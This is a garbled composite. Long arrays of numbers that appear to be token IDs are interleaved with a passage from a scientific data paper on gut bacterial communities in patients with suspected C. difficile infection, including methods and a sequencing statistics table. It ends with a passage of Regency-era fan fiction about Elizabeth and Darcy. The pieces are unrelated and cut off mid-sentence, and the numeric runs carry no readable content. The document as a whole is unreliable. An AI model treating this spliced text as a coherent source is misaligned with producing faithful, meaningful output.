6442, 13794, 432, 470, 283, 740, 13, 884, 283, 1010, 13, 1458, 283, 938, 13, 285, 1384, 283, 1229, 15, 5128, 5162, 285, 7091, 5657, 403, 2529, 275, 2508, 275, 253, 3082, 2593, 15, 1876, 9765, 9991, 17082, 2797, 407, 1165, 2267, 5288, 403, 7117, 275, 544, 3235, 495, 1084, 85, 20, 910, 709, 14, 881, 568, 2420, 986, 313, 15735, 3909, 760, 17981, 84, 2203, 7132, 17472, 14, 71, 19, 4253, 71, 19, 94, 187, 187, 5146, 1668, 52, 30509, 3320, 3425, 5162, 9990, 285, 15666, 4636, 30307, 3904, 535, 50276, 424, 19352, 1416, 424, 50274, 424, 35, 3783, 4636, 30307, 424, 50275, 424, 24436, 9563, 313, 19, 89, 13, 18433, 14, 423, 4846, 50275, 424, 4553, 11031, 1277, 424, 50275, 424, 6, 2957, 424, 25416, 85, 18, 14, 4174, 18, 910, 709, 14, 881, 568, 4174, 986, 50275, 424, 4553, 1165, 39, 424, 50275, 424, 6, 2957, 424, 544, 18022, 85, 18, 14, 4174, 18, 910, 709, 14, 881, 568, 4174, 986, 50275, 424, 4553, 2891, 13646, 5806, 424, 50275, 424, 6, 2957, 424, 544, 18022, 85, 18, 14, 4174, 18, 910, 709, 14, 881, 568, 4174, 986, 187, 50276, 23380, 32703, 9625, 4372, 9625, 397, 16913, 9625, 9794, 32723, 9625, 9794, 187, 50276, 15325, 64, 2874, 50265, 43335, 47, 3071, 520, 805, 3712, 50258, 21092, 13, 29805, 50260, 20070, 13, 22029, 50254, 20, 15, 3071, 50256, 8196, 13, 39289, 50255, 1229, 15, 20, 50254, 50272, 4739, 13, 33730, 50254, 50272, 1235, 15, 19, 187, 50276, 15325, 64, 4699, 50265, 43335, 47, 3071, 520, 805, 3583, 50258, 28933, 13, 15161, 50260, 25121, 13, 27385, 50254, 20, 15, 2691, 50256, 17391, 13, 26, 2082, 50255, 1731, 15, 19, 50254, 50272, 18359, 13, 40010, 50254, 50274, 5922, 15, 17, 187, 50276, 15325, 64, 4838, 50265, 43335, 47, 3071, 520, 805, 3357, 50257, 1717, 13, 27893, 50259, 1619, 13, 29412, 50254, 20, 15, 1797, 50255, 1348, 13, 42949, 50255, 1036, 15, 20, 50254, 50272, 1508, 13, 31416, 50254, 50272, 1093, 15, 23, 187, 50276, 15325, 64, 5525, 50265, 43335, 47, 3071, 520, 805, 3439, 50257, 746, 13, 36208, 50259, 1093, 13, 39755, 50254, 21, 15, 2504, 50255, 1036, 13, 17786, 50255, 1093, 15, 22, 50254, 50272, 1047, 13, 33546, 50254, 50272, 1099, 15, 17, 187, 50276, 15325, 64, 5523, 50265, 43335, 47, 3071, 520, 805, 2417, 50257, 2357, 13, 35833, 50259, 3655, 13, 38049, 50254, 21, 15, 2504, 50255, 1549, 13, 39289, 50255, 1423, 15, 21, 50254, 50272, 3208, 13, 41309, 50254, 50272, 1731, 15, 25, 187, 50276, 15325, 64, 7174, 50265, 43335, 47, 3071, 520, 805, 3208, 50258, 14711, 13, 7749, 50260, 11124, 13, 25, 1717, 50254, 21, 15, 2504, 50255, 4529, 13, 42980, 50255, 1797, 15, 24, 50254, 50272, 3655, 13, 39855, 50254, 50272, 1787, 15, 24, 187, 50276, 15325, 64, 7931, 50265, 43335, 47, 3071, 520, 805, 3011, 50257, 3832, 13, 42047, 50259, 3011, 13, 12224, 50254, 24, 15, 3357, 50255, 2950, 13, 25289, 50255, 1099, 15, 17, 50254, 50272, 2031, 13, 24677, 50254, 50272, 1619, 15, 18, 187, 50276, 15325, 64, 8897, 50265, 43335, 47, 3071, 520, 805, 3680, 50258, 17599, 13, 22, 2759, 50260, 21092, 13, 15144, 50254, 19, 15, 2270, 50256, 9913, 13, 30452, 50255, 1047, 15, 26, 50254, 50272, 18795, 13, 19044, 50254, 50274, 655, 15, 25, 187, 50276, 15325, 64, 8972, 50265, 43335, 47, 3071, 520, 805, 3046, 50258, 15144, 13, 31362, 50260, 13210, 13, 29546, 50254, 21, 15, 1797, 50255, 3121, 13, 37258, 50255, 1787, 15, 21, 50254, 50272, 3547, 13, 29137, 50254, 50272, 1449, 15, 21, 187, 50276, 15325, 64, 9104, 50265, 43335, 47, 3071, 520, 805, 1549, 50257, 2504, 13, 31254, 50259, 1857, 13, 25, 1731, 50254, 21, 15, 2125, 50255, 1839, 13, 20373, 50255, 746, 15, 23, 50254, 50272, 1812, 13, 20207, 50254, 50272, 1348, 15, 17, 187, 50276, 15325, 64, 13925, 50265, 43335, 47, 3071, 520, 805, 3832, 50259, 18, 13, 15497, 13, 19948, 50262, 18, 13, 43771, 13, 21980, 50255, 20, 15, 1610, 50256, 26, 1797, 13, 45197, 50255, 746, 15, 17, 50254, 50272, 33120, 13, 23100, 50254, 50274, 2164, 15, 24, 187, 50276, 15325, 64, 12522, 50265, 43335, 47, 3071, 520, 805, 3763, 50257, 1717, 13, 39855, 50259, 1619, 13, 29137, 50254, 21, 15, 1423, 50255, 1508, 13, 43726, 50255, 746, 15, 20, 50254, 50272, 938, 13, 25, 1348, 50254, 50272, 1717, 15, 24, 187, 50276, 15325, 64, 13144, 50265, 43335, 47, 3071, 520, 805, 3571, 50258, 29251, 13, 10637, 50260, 41211, 13, 24, 2222, 50254, 21, 15, 2417, 50256, 37155, 13, 37493, 50255, 1797, 15, 26, 50254, 50272, 43676, 13, 21980, 50254, 50274, 1884, 15, 22, 187, 50276, 15325, 64, 11494, 50265, 43335, 47, 3071, 520, 805, 1540, 50257, 1630, 13, 25, 2270, 50259, 1731, 13, 30920, 50254, 20, 15, 3357, 50255, 1423, 13, 23, 1540, 50255, 1093, 15, 24, 50254, 50272, 1797, 13, 18950, 50254, 50272, 1508, 15, 23, 187, 50276, 15325, 64, 10496, 50265, 43335, 47 ]

), dereplicate (-derep_fulllength), sort by cluster size and remove singletons (-sortbysize). Subsequently, OTUs were clustered at 97% sequence identity using USEARCH (-cluster_otus), which includes *de novo* chimera removal. Additionally, chimeric sequences were removed using UCHIME^[@b21]^ included in software package USEARCH with reference mode (-uchime_ref) against RDPs trainset15_092015.fasta^[@b22]^. All quality-filtered sequences were mapped to chimera-free OTUs and an OTU table was created using USEARCH (-usearch_global). Taxonomic classification of the picked reference sequences (OTUs) was performed with *parallel_assign_taxonomy_blast.py* against SILVA SSU database release 123.1^[@b23]^. Extrinsic domain OTUs, chloroplasts, and unclassified OTUs were removed from the dataset by employing *filter_otu_table.py*. Sample comparisons were performed at the same surveying effort, utilizing the lowest number of sequences by random resampling (10.000 reads per sample). Species richness, alpha and beta diversity estimates were determined using the QIIME script *alpha*\_*rarefaction*.*py*. Non-metric multidimensional scaling (NMDS) and statistical tests were performed with the vegan package^[@b24]^ in R^[@b25]^. Data Records ============ The paired-end reads of the 16S rRNA gene sequencing were deposited in the National Center for Biotechnology Information (Data Citation 1). The dataset consists of 158 zipped FASTQ files that were processed by the CASAVA software (Illumina), which includes demultiplexing and removal of adapter sequences. The OTU table (otu_table_PRJNA353065.xlsx) used for all analyses and the corresponding representative OTU sequences clustered at 97% genetic identity (otu_sequences_PRJNA353065.fasta) are accessible at figshare.com (Data Citation 2). Technical Validation ==================== Success of 16S rRNA gene amplicon generation was controlled by reviewing the amplicon size (approximately 550 bp) and absence of contaminations on an agarose gel. Additionally, negative (PCR reaction without template) and positive controls (genomic DNA of *E. coli* DH5a) were performed to ensure purity of the employed reagents. To reduce possible PCR biases, all PCRs were performed in triplicate and after purification pooled equimolar. Usage Notes =========== The OTU table (otu_table_PRJNA353065.xlsx) used for all analyses and the corresponding representative OTU sequences clustered at 97% genetic identity (otu_sequences_PRJNA353065.fasta) are accessible at figshare (Data Citation 2). Additional Information ====================== **How to cite this article:** Schneider, D. *et al.* Gut bacterial communities of diarrheic patients with indications of *Clostridioides difficile* infection. *Sci. Data* 4:170152 doi: 10.1038/sdata.2017.152 (2017). **Publisher's note:** Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations. Supplementary Material {#S1} ====================== This work was funded by the Federal State of Lower Saxony, Niedersächsisches Vorab (VWZN2889). We thank L. von Müller and M. Rupnik for kindly having performed ribotyping and toxinotyping. We thank the patients and healthy volunteers who provided their stool samples. The authors declare no competing financial interests. ![Bacterial community composition at family level of human stool samples analysed in this study.\ The bacterial community profiles are based on operational taxonomic unit (OTU, defined at 97% genetic identity) frequency in stool samples of 44 patients with diarrhea indicative of *C. difficile* infection and 35 asymptomatic control individuals (*n*=79). One stool sample per patient was used and amplicon PCRs were performed in triplicate for this analysis. Families, which exhibited an abundance of lower than 1% in the entire dataset, were summarized as rare taxa. Relative abundance of *C. difficile* (*Peptoclostridium difficile* in SILVA database 123.1) is displayed separately and exhibited highest similarity to *Clostridioides difficile* strain 630 delta erm (Accession number CP016318). Occurrence of diarrhea in patents is indicated by plus (patient exhibited diarrhea) and minus (no diarrhea), results from microbiological diagnosis of *C. difficile* infection (*C. d.* m. t.) are shown below (plus, positively tested for *C. difficile*; minus, negatively tested for *C. difficile*). Presence and absence of *C. difficile* in amplicon data (*C. d.* NGS) are indicated by plus (present) and minus (absent). Data processing and employed tools are described in detail in the methods section.](sdata2017152-f1){#f1} ![Multivariate analysis of the bacterial community from human stool samples.\ Non-metric multidimensional scaling (NMDS) based on weighted Unifrac^[@b12]^ was used to display the bacterial community structure in 79 stool samples at same sequencing effort (10.000 reads per sample). Samples from patients who exhibited diarrhea at time of sampling are encased by diamond. Samples from patients that were positively tested on *C. difficile* by microbiological test are marked by plus, samples of patients where *C. difficile* was detected in the amplicon dataset are marked by cross. Point size represents the phylogenetic diversity (PD, Faith\'s Phylogenetic Diversity^[@b26]^) of the microbiome, samples are encircled by PD ranges from 0--10, 10--15, 15--20, and 20--30. Data processing and employed tools are described in detail in the methods section. All alpha diversity metrics obtained by QIIME are listed in [Table 3](#t3){ref-type="table"} (available online only).](sdata2017152-f2){#f2} ###### 16S rRNA gene sequence processing statistics and biosample accession numbers **Sample name** **Biosample accession** **Raw reads (2x, paired-end)** **After PEAR** **% loss**[\*](#t1-fn1){ref-type="fn"} **After QF** **% loss** [\*](#t1-fn1){ref-type="fn"} **After taxonomy filter** **% loss** [\*](#t1-fn1){ref-type="fn"} ----------------- ------------------------- -------------------------------- ---------------- ---------------------------------------- -------------- ----------------------------------------- --------------------------- ----------------------------------------- patient_001 SAMN06011251 183,885 178,258 3.06 128,097 30.3 91,562 50.2 patient_002 SAMN06011252 283,254 272,331 3.86 208,965 26.2 189,871 33.0 patient_003 SAMN06011253 29,313 28,372 3.21 24,528 16.3 23,857 18.6 patient_004 SAMN06011254 19,854 18,967 4.47 16,185 18.5 14,889 25.0 patient_005 SAMN06011255 77,418 73,960 4.47 60,097 22.4 56,675 26.8 patient_006 SAMN06011256 118,110 112,829 4.47 92,535 21.7 73,601 37.7 patient_007 SAMN06011257 61,760 57,107 7.53 46,348 25.0 44,385 28.1 patient_008 SAMN06011258 188,584 183,121 2.90 160,489 14.9 151,302 19.8 patient_009 SAMN06011259 121,488 116,373 4.21 76,062 37.4 72,353 40.4 patient_010 SAMN06011260 47,754 45,826 4.04 38,386 19.6 36,312 24.0 patient_011 SAMN06011261 1,137,384 1,099,480 3.33 921,087 19.0 856,364 24.7 patient_012 SAMN06011262 29,601 28,353 4.22 23,893 19.3 20,824 29.7 patient_013 SAMN06011263 603,255 575,795 4.55 470,894 21.9 419,480 30.5 patient_014 SAMN06011264 27,890 26,906 3.53 22,664 18.7 21,306 23.6 patient_015 SAMN

[ 2302, 937, 753, 2305, 15, 20931, 292, 15, 346, 1989, 352, 588, 417, 8513, 323, 779, 281, 4089, 253, 4454, 285, 923, 253, 7437, 15, 309, 3053, 31479, 3847, 436, 1039, 13, 285, 347, 309, 6983, 13, 17064, 7068, 753, 703, 3260, 2217, 407, 253, 673, 703, 369, 2620, 281, 10073, 779, 275, 18019, 368, 449, 187, 187, 3, 24804, 15, 309, 369, 3240, 17847, 407, 617, 9260, 326, 1388, 15, 496, 958, 13, 352, 369, 326, 4839, 4804, 534, 3977, 441, 281, 253, 1652, 637, 368, 2186, 1024, 449, 187, 187, 7710, 15, 20931, 292, 2918, 1016, 5313, 598, 581, 625, 673, 285, 753, 697, 1416, 15, 329, 1652, 20008, 22336, 264, 562, 387, 253, 30605, 347, 352, 369, 2918, 275, 2914, 273, 779, 15, 346, 13924, 13, 15822, 4327, 15, 380, 1077, 2118, 326, 3198, 281, 320, 1160, 449, 2305, 15, 20931, 292, 7932, 253, 7437, 327, 253, 4450, 275, 616, 3236, 13977, 1078, 2403, 521, 2118, 15, 187, 187, 3, 1394, 403, 417, 1469, 281, 1750, 344, 2686, 3260, 534, 5313, 3058, 281, 320, 4395, 13, 403, 368, 865, 6397, 4348, 2546, 275, 21278, 8922, 15, 346, 1328, 556, 417, 2326, 253, 4450, 15, 754, 6057, 43763, 273, 253, 4803, 13, 285, 368, 2918, 326, 5313, 8003, 281, 779, 685, 253, 643, 15, 1422, 26740, 264, 521, 4743, 449, 187, 187, 3, 1328, 556, 642, 4743, 281, 26740, 15, 754, 310, 417, 1711, 2217, 281, 452, 4447, 667, 937, 851, 7551, 2305, 15, 20931, 292, 15, 187, 187, 3, 2598, 368, 403, 3413, 281, 1361, 779, 830, 352, 937, 753, 6397, 4348, 15, 346, 42, 943, 452, 1929, 368, 651, 1611, 824, 247, 2181, 449, 187, 187, 3, 40, 290, 45457, 937, 753, 12694, 347, 703, 4845, 617, 3564, 689, 617, 3347, 434, 13628, 835, 344, 2242, 275, 521, 21507, 434, 6174, 15, 346, 42, 588, 46107, 1581, 368, 281, 22065, 619, 1429, 281, 1142, 8205, 953, 13, 533, 16425, 689, 14916, 8213, 310, 417, 581, 273, 731, 15, 3954, 13, 604, 368, 5730, 281, 4035, 634, 2165, 342, 20931, 292, 275, 21250, 13, 309, 1804, 368, 22907, 634, 19456, 650, 360, 1559, 723, 449, 187, 187, 2993, 7808, 5176, 617, 3564, 432, 253, 6858, 434, 13628, 13, 285, 15606, 731, 327, 617, 29434, 13, 703, 3534, 617, 3392, 247, 5882, 25885, 15, 346, 1898, 642, 625, 2245, 449, 187, 187, 3, 1147, 369, 760, 247, 9075, 449, 4058, 3392, 753, 22112, 15, 187, 187, 2993, 5439, 247, 6479, 275, 5691, 15, 187, 187, 3, 17534, 973, 13, 642, 625, 2245, 449, 329, 8580, 4447, 327, 521, 11233, 15, 346, 42, 588, 7356, 281, 7138, 90, 285, 8995, 449, 187, 187, 3, 1898, 359, 3091, 417, 9059, 937, 19114, 264, 275, 6397, 4348, 15, 346, 1231, 3091, 760, 8881, 449, 187, 187, 45150, 11898, 617, 1481, 285, 21374, 15, 346, 1394, 403, 5050, 10389, 917, 449, 20931, 292, 3053, 281, 39866, 285, 1614, 281, 1089, 253, 2603, 273, 521, 3101, 434, 4318, 15, 187, 187, 45150, 2335, 779, 432, 617, 3392, 285, 3802, 18050, 1070, 779, 2810, 15, 1500, 3260, 690, 275, 5948, 651, 45688, 617, 323, 1146, 824, 247, 277, 5341, 278, 2902, 285, 417, 20252, 247, 9685, 15339, 13, 533, 841, 18153, 9506, 497, 594, 7771, 8211, 15, 754, 369, 5675, 594, 4541, 15, 187, 187, 3, 42, 3091, 452, 368, 871, 326, 604, 3780, 310, 1469, 281, 1361, 619, 3347, 830, 521, 11626, 13, 352, 588, 320, 521, 3101, 15, 754, 3091, 871, 849, 281, 2968, 342, 253, 13052, 273, 368, 449, 1500, 12918, 347, 253, 767, 24173, 50206, 15, 346, 11778, 368, 2783, 326, 344, 310, 247, 20931, 292, 285, 247, 11128, 951, 285, 13, 3103, 13, 247, 24103, 88, 3370, 312, 32, 2726, 824, 247, 23009, 285, 824, 23374, 17772, 13, 344, 3091, 452, 642, 4500, 533, 281, 320, 247, 2323, 449, 187, 187, 3, 5088, 13, 2032, 937, 753, 6397, 4348, 347, 344, 4845, 521, 9881, 327, 247, 5313, 281, 320, 4395, 15, 187, 187, 45150, 16481, 617, 13386, 285, 11898, 617, 1481, 15, 754, 4395, 521, 1133, 281, 247, 1027, 5313, 13, 285, 703, 11373, 15, 187, 187, 3, 18869, 43286, 90, 15, 10300, 281, 619, 9054, 387, 253, 1133, 273, 619, 1211, 6122, 937, 26750, 617, 3392, 15, 187, 187, 45150, 12918, 15, 346, 11778, 309, 1677, 368, 281, 634, 9054, 390, 452, 309, 1677, 634, 9054, 281, 368, 32, 9870, 9257, 13, 24173, 13, 253, 3761, 812, 564, 2057, 1039, 15, 309, 3091, 1091, 281, 923, 665, 310, 6306, 846, 436, 2872, 637, 310, 15792, 562, 273, 4854, 2491, 672, 253, 25019, 84, 3135, 281, 2685, 449, 187, 187, 2993, 23651, 617, 3347, 434, 1481, 15, 346, 4769, 323, 247, 1551, 2872, 637, 15, 844, 3091, 3553, 253, 24924, 1711, 1821, 281, 9059, 275, 6330, 15, 2091, 368, 403, 5662, 13, 309, 588, 9798, 368, 849, 281, 3330, 1046, 3761, 275, 534, 368, 11377, 943, 368, 594, 5730, 13, 1880, 634, 16871, 310, 634, 21507, 13, 634, 1270, 18796, 13, 390, 1014, 634, 3392, 15, 1723, 13, 627, 403, 2069, 672, 10305, 310, 625, 24400, 449, 187, 187, 7710, 15, 20931, 292, 285, 6397, 4348, 41763, 715, 759, 932, 273, 22569, 15, 187, 187, 3, 4045, 368, 9428, 344, 1014, 36683, 703, 4483, 779, 281, 3330, 865, 2546, 6397, 4348, 15, 187, 187, 95, 3853, 3853, 3853, 3853, 3853, 187, 187, 28895, 951, 13, 665, 574, 644, 6306, 816, 3345, 253, 10329, 3369, 11298, 323, 690, 2909, 13, 11373, 281, 2994, 15, 2732, 344, 574, 3735, 253, 2926, 273, 6397, 4348, 434, 806, 4804, 342, 12694, 13, 344, 574, 13, 327, 247, 1180, 273, 15530, 13, 3597, 22727, 2920, 281, 7168, 15, 733, 574, 2489, 4755, 281, 779, 347, 253, 3958, 3395, 625, 273, 247, 4933, 1977, 2581, 685, 247, 7562, 273, 7437, 326, 703, 369, 6296, 6941, 779, 281, 3330, 13, 285, 432, 253, 1007, 703, 574, 816, 6828, 2584, 779, 949, 253, 1527, 10329, 3369, 347, 703, 7560, 13, 703, 3260, 344, 369, 417, 25229, 273, 617, 12199, 272, 15, 187, 187, 1328, 3802, 6390, 581, 1390, 17514, 281, 1659, 275, 253, 11281, 344, 4824, 15, 3032, 15934, 4330, 6225, 247, 4088, 745, 7487, 2137, 1031, 15, 11128, 951, 43637, 281, 2994, 15, 2058, 1878, 13, 24942, 642, 3356, 6225, 387, 521, 9215, 347, 344, 2624, 12405, 323, 521, 4475, 15, 187, 187, 3, 4967, 513, 368, 417, 1581, 479, 281, 513, 326, 323, 368, 13, 8674, 865, 344, 651, 2223, 1642, 15, 187, 187, 3, 42, 717, 7032, 273, 16778, 12405, 13, 24942, 937, 344, 651, 12252, 15, 346, 42, 9023, 281, 513, 594, 342, 1557, 15, 1621, 2853, 3091, 320, 12615, 634, 10329, 449, 187, 187, 46587, 13, 24942, 574, 4425, 521, 6303, 858, 6296, 871, 752, 344, 369, 670, 285, 1669, 779, 281, 9580, 2761, 327, 521, 1211, 15, 11706, 13, 344, 651, 10000, 2994, 342, 789, 10151, 13, 1900, 28027, 386, 943, 521, 8385, 320, 3058, 390, 3078, 15, 187, 187, 14569, 13, 11128, 951, 4425, 253, 15934, 4330, 434, 1361, 1537, 6296, 320, 26085, 15, 346, 39, 7337, 937, 344, 1925, 15, 346, 4045, 368, 452, 247, 8781, 13, 4931, 247, 1355, 1824, 272, 476, 309, 1537, 897, 281, 2186, 841, 12405, 865, 187, 187, 510, 14370, 14, 37128, 15934, 4330, 2783, 521, 6303, 323, 247, 2774, 15, 1707, 574, 644, 1142, 8921, 9762, 275, 253, 1390, 807, 13, 533, 436, 369, 747, 15, 346, 6723, 368, 2119, 368, 5730, 271, 1711, 476, 13, 8674, 865, 187, 187, 3, 24804, 13, 309, 513, 13, 533, 247, 1355, 763, 581, 15, 4683, 2282, 13, 604, 368, 4510, 13, 309, 476, 9580, 247, 4067, 1180, 285, 897, 247, 4067, 476, 449, 11128, 951, 11373, 387, 253, 637, 3692, 2927, 8899, 3790, 342, 6987, 511, 15, 187, 187, 3, 42, 760, 16632, 281, 19148, 634, 878, 13, 8674, 15, 309, 452, 816, 253, 2181, 15, 3166, 368, 5730, 479, 281, 1659, 253, 12405, 275, 352, 323, 368, 865, 187, 187, 3, 2302, 13, 309, 3091, 956, 368, 285, 23240, 731, 4266, 449, 187, 187, 39, 7337, 760, 33766, 285, 3977, 253, 1039, 15, 187, 187, 95, 3853, 3853, 3853, 3853, 3853, 187, 187, 28895, 951, 4824, 253, 17514, 14, 14653, 1824, 272, 476, 281, 521, 3722, 9320, 15, 754, 9355, 281, 1659, 352, 327, 253, 2829, 2822, 253, 3497, 835, 521, 4475, 7636, 281, 1790, 285, 3630, 275, 616, 2021, 6698, 15, 754, 3264, 13, 846, 253, 7827, 344, 574, 689, 28996, 275, 253, 6335, 13, 703, 1537, 1091, 627, 281, 1924, 20931, 292, 434, 806, 29992, 16507, 1223, 616, 3347, 21567, 15, 187, 187, 28895, 951, 574, 1869, 521, 1533, 369, 3426, 13, 285, 344, 812, 871, 642, 3687, 11010, 672, 344, 574, 7028, 12694, 15, 1292, 13, 344, 574, 644, 11464, 3430, 806, 672, 13, 816, 3618, 846, 616, 12142, 13, 703, 574, 8191, 779, 326, 703, 13282, 617, 9749, 369, 1955, 281, 253, 958, 326, 344, 369, 281, 320, 247, 3392, 13, 285, 969, 672, 275, 2393, 2552, 13, 20931, 292, 574, 1160, 521, 1039, 715, 253, 1533, 15, 187, 187, 28895, 951, 2206, 2822, 253, 39696, 285, 34572, 949, 253, 6698, 347, 344, 13308, 323, 521, 4475, 15, 754, 1239, 247, 1643, 3104, 273, 617, 2395, 273, 436, 1077, 1388, 581, 807, 3622, 15, 380, 3369, 5485, 13, 285, 344, 4581, 253, 1984, 594, 344, 812, 3698, 521, 4475, 9413, 521, 9140, 15, 187, 187, 3, 2302, 3120, 937, 703, 753, 15, 346, 1147, 3133, 309, 452, 247, 4279, 26930, 83, 13, 11761, 5938, 449, 1500, 16535, 285, 36280, 253, 12405, 13, 11196, 617, 2927, 285, 18727, 342, 11284, 347, 703, 858, 15, 187, 187, 3, 1394, 513, 452, 271, 26930, 83, 13, 533, 417, 594, 4279, 13, 619, 2389, 449, 187, 187, 3, 2042, 436, 26930, 83, 310, 417, 594, 4279, 422, 13, 2139, 13, 12518, 2028, 13, 858, 344, 417, 3553, 247, 3877, 865, 4058, 2927, 497, 45531, 342, 36067, 15, 187, 187, 28895, 951, 6225, 285, 7428, 281, 835, 521, 4475, 6225, 15, 754, 4925, 1475, 617, 285, 4845, 253, 6698, 327, 253, 2829, 5909, 352, 281, 835, 521, 9185, 2918, 253, 3239, 1223, 25661, 2810, 281, 617, 2472, 15, 346, 1328, 16632, 281, 1918, 368, 521, 3935, 275, 1436, 449, 187, 187, 2993, 10785, 617, 6174, 1475, 521, 7623, 15, 346, 1898, 752, 310, 436, 3935, 534, 619, 26930, 83, 16995, 281, 7257, 865, 187, 187, 3, 1147, 310, 247, 3935, 326, 310, 1097, 30643, 2159, 285, 16656, 336, 400, 1598, 1048, 449, 754, 39712, 264, 521, 3564, 3212, 617, 896, 15, 346, 5804, 368, 5476, 352, 865, 187, 187, 3, 13924, 13, 309, 1158, 309, 476, 15, 9876, 344, 2389, 479, 865, 187, 187, 3, 2214, 1024, 285, 1900, 449, 187, 187, 3, 2347, 1077, 27949, 1580, 309, 3091, 2389, 779, 323, 512, 673, 449, 1500, 11373, 598, 387, 779, 15, 187, 187, 3, 4045, 368, 751, 731, 865, 187, 187, 3, 510, 12405, 865, 1500, 17377, 387, 253, 29909, 21118, 15, 187, 187, 1328, 11522, 15, 346, 30271, 281, 24942, 434, 448, 356, 11078, 13, 309, 13037, 731, 4266, 15, 1583, 403, 417, 4555, 751, 253, 12405, 359, 20845, 327, 436, 1388, 1390, 807, 13, 533, 597, 403, 2074, 13, 285, 309, 574, 24942, 2836, 562, 271, 1711, 1824, 272, 476, 281, 897, 347, 253, 362, 511, 15, 1680, 352, 417, 1077, 1199, 751, 253, 581, 368, 908, 281, 1824, 634, 12405, 22760, 211, 253, 4394, 368, 574, 816, 6699, 31761, 327, 253, 1388, 309, 1313, 368, 865, 187, 187, 45150, 3531, 275, 521, 6174, 594, 326, 703, 812, 923, 253, 12405, 15, 346, 1394, 1869, 273, 512, 326, 1223, 368, 5055, 841, 865, 187, 187, 3, 42, 3407, 407, 4680, 273, 436, 449, 754, 8042, 281, 253, 1527, 6698, 3239, 15, 346, 510, 1388, 672, 368, 5821, 281, 1056, 479, 253, 1654, 10558, 273, 1821, 449, 187, 187, 3, 42, 574, 417, 3264, 281, 17019, 436, 1388, 937, 703, 753, 23727, 15, 346, 2042, 309, 574, 13, 309, 651, 452, 1119, 247, 9140, 323, 368, 15, 2596, 534, 7560, 619, 2389, 347, 973, 347, 841, 12405, 3984, 273, 13298, 449, 187, 187, 3, 13924, 13, 533, 309, 452, 10912, 323, 326, 347, 973, 449, 754, 4439, 617, 285, 7428, 896, 281, 521, 6951, 2822, 253, 39696, 2167, 344, 858, 417, 1790, 15 ]

No," said Mr. Bennet. "But it will not hurt for him to hear the names and see the pieces. I started Lizzy this way, and as I recall, Gardiner said she knew enough by the time she was five to assist him in beating you." "Indeed. I was quite impressed by her intelligence that day. In fact, it was that chance meeting which led us to the little man you hold now." Mr. Bennet held each piece up one more time and said its name. A little fist flicked out at the knight as it was held in front of him. "Ah, wise choice. The very move that needs to be made." Mr. Bennet replaced the pieces on the board in their original spots before making his move. "You are not going to claim he actually knew which piece needed to be moved, are you?" Matlock asked in astonishment. "He has not seen the board. He knows naught of the rules, and you held that piece closer to him than the other. You swayed his opinion." "He has no opinion to sway. He is not old enough to have formed any," retorted Mr. Bennet. "So you are determined to help him form it," said Matlock. "I should have known you would try such a thing." "Gentlemen," said Elizabeth as she placed her hands over her son's ears where he lay in his grandfather's arms. "I will gladly allow you to expose my child to many pursuits, but arguing over trivial matters is not one of them. Now, if you wish to continue your game with Bennet in attendance, I suggest you cease your silly grumblings." She slowly removed her hands from the baby's ears, and placing them on her hips, she gave her father a firm stare. "And no more port." "It was only a taste." Her father said weakly. She raised a brow in challenge. "Very well, no more port." A smile formed on his lips. "I will stick to brandy and wine." "And we shall not argue," chimed in Matlock. "We shall only debate." Elizabeth shook her head and sighed. "You are incorrigible." Bennet started to fuss and turn to find the source of his mother's voice. Elizabeth took him from her father and snuggled him close. She knew some in society would criticize her for being such a doting mama and not hiring a wet nurse, but these precious moments were so fleeting. He was growing so quickly. "I shall have you know that if anyone is going to help my son form his opinions, it will be his mother. He shall know how to deal with the likes of you." She laughed as the two gentlemen groaned. "Have you considered that he is a Bennet and a Darcy and, therefore, a Fitzwilliam? With such a lineage and such caring relatives, he shall have no option but to be a success." "True, true," said Matlock as he placed his fingers on a piece to be moved. Elizabeth cleared her throat and shook her head. He moved his hand to a different piece, and she smiled. "Such treachery. Given to my enemy at the hand of my own daughter," exclaimed her father. Elizabeth laughed. "Have I given you to your enemy or have I given your enemy to you? Look carefully, gentlemen, the match could go either way. I shall return to see who is standing after this young man is safely out of hearing range when the oaths begin to flow." She kissed her son's head. "Time for a rest young man. We shall leave the foolish old men to argue in peace. When you are older, I will teach you how to win every match in which you engage should you so wish, whether your opponent is your grandfather, your great uncle, or even your father. However, there are times when losing is more advantageous." Mr. Bennet and Matlock erupted into peals of laughter. "Do you suppose he even realizes she allows him to win?" asked Matlock. ~*~*~*~*~*~ Darcy, who had been standing just outside the garden door listening for some minutes, smiled to himself. After he had heard the story of Matlock's first meeting with Elizabeth, he had, on a number of occasions, tried unsuccessfully to lose. It had become obvious to him as the games became more of a giving away rather than a keeping of pieces that she was indeed allowing him to win, and from the look she had just directed toward him through the open garden door as she spoke, she knew he was not unaware of her scheming. He snipped one last flower to place in the basket he carried. His gardener stood a ways off watching warily. Darcy chuckled to himself. At least, Foster no longer stood at his shoulder as he cut flowers for his wife. "Why do you not allow me to do that for you, sir?" he would often ask. "I am capable of gathering flowers, Foster," he would reply. "I promise to do so with care. No ill shall befall your garden." Eventually, Foster had decided his master did indeed know what he was about and left him to gather almost on his own. Still, he would busy himself with work nearby, always vigilant should his assistance be needed or wanted. Today, Darcy decided the gardener's help might indeed be warranted. "Foster," he called. "Do you have a container, perhaps a small watering can I might use to hold these flowers?" The grey-haired gardener considered his master for a moment. There had been many strange requests in the last year, but this was new. "Are you sure you wish an old can, sir?" "Indeed, I do, but a smallish one. Of course, if you prefer, I can gather a larger number and use a larger can." Darcy smiled at the man whose eyes grew round with unease. "I only wished to clarify your need, sir. I have just the thing. Do you wish me to place the flowers in it for you?" "No, I shall follow you and arrange them myself." Foster only bowed and led the way. ~*~*~*~*~*~ Darcy carried the flower-filled watering can to his bed chamber. He planned to place it on the table near the window where his wife loved to sit and write in their family journal. He expected, after the conversation he had overheard in the library, she might return there to record Bennet's first chess lesson while their son slept. Darcy had thought his world was complete, and he could know no greater joy when he had married Elizabeth. But, he had been proven wrong first when, just weeks after their wedding, she had informed him that she suspected her illness was due to the fact that he was to be a father, and again when in early May, Bennet had made his way into the world. Darcy sat near the fireplace and flipped through the journal as he waited for his wife. He read a few lines of her account of this very day one year ago. The door opened, and he closed the book so he could watch his wife discover his gift. "No card," she said. "It seems I have a secret admirer, dear husband." She bent and smelled the flowers, closing her eyes and smiling with pleasure as she did. "You do have an admirer, but not so secret, my love." "If this admirer is not so secretive, why, pray tell, did he not leave a note?" Her eyes were sparkling with amusement. Darcy stood and walked to where his wife stood. He reached around her and placed the journal on the table opening it to where his finger held the page while leaning close to her ear. "He wished to give you his message in person." She wound her arms around his neck. "And what is this message which my admirer 